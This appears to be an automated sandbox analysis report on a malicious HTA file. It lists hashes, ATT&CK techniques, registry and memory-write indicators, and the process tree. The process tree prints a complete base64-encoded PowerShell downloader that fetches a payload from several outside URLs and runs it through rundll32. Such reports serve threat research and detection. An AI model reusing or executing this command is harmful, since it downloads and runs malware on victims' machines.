4f598f13fd473b3e9364dce26b99495ae728eac9ca9e278bd76be41141757c03

Analysis

max time kernel
77s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
20/04/2023, 01:14

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General

Target

Ojvpuwa.hta
Size

348KB
MD5

e99b6cfcb794606f20ec5d1abed23906
SHA1

7278ef13293d8eecfe4202362b0c3ec1ae8f8559
SHA256

4f598f13fd473b3e9364dce26b99495ae728eac9ca9e278bd76be41141757c03
SHA512

ef7421a36f13ce928cb5205be59db8f57061d9e9b14dabf8cd860742bbc5c141f570d807ce25d439d2f83b62a62f9f88f29733a406d1abb272006d66461b0da0
SSDEEP

6144:id3ndjrklqgqr5K0NJhI101WdQyPK3LwCDkpJUbbj9KctPCltrt8gd3ndjrkW:yOauMvDyeUOW

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1816	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 820 wrote to memory of 1816	820	mshta.exe	27
PID 820 wrote to memory of 1816	820	mshta.exe	27
PID 820 wrote to memory of 1816	820	mshta.exe	27
PID 820 wrote to memory of 1816	820	mshta.exe	27

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Ojvpuwa.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:820
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAHcAUAB3AGkAYQBKAEIALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBxAEkAVgBEAFIATgB5AEwAaABwACwAaAB0AHQAcABzADoALwAvAGMAaQB0AHkAdABlAGMAaAAtAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwA2AE0AaAAxAGsALwBCAGUAUABUAFcARwBPAEEALABoAHQAdABwAHMAOgAvAC8AbQByAGMAcgBpAHoAcQB1AG4AYQAuAGMAbwBtAC8ATAA3AGMAYwBOAC8AUwBEAFQAQwA2AEwAVgAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBHAEwANgBiADkAdQAwAHEARAByAE8ALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwBrAHIARQBpAGYAUQBCACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAEsAUQBNAGUAaABYAHIAdABGADcANABjACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwBQAFoASQA1AFUANABVAHoAMwBvAHoAMAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABpAG4AZgB1AG4AZQByAGEAbAAgAGkAbgAgACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGkAbgBmAHUAbgBlAHIAYQBsACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA2ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AZwBvAGQAYQBlAGQAYQBsAHkALgBtAGUAYwBoAGkAcgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAEwAbwBnAG8AZABhAGUAZABhAGwAeQAuAG0AZQBjAGgAaQByACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBRAEEAUgBRAEIATgBBAEYAQQBBAFgAQQBCAE0AQQBHADgAQQBaAHcAQgB2AEEARwBRAEEAWQBRAEIAbABBAEcAUQBBAFkAUQBCAHMAQQBIAGsAQQBMAGcAQgB0AEEARwBVAEEAWQB3AEIAbwBBAEcAawBBAGMAZwBBAHMAQQBFADAAQQBiAHcAQgAwAEEARwBRAEEATwB3AEEAPQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AH0AfQA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1816-56-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download
memory/1816-57-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download
memory/1816-71-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download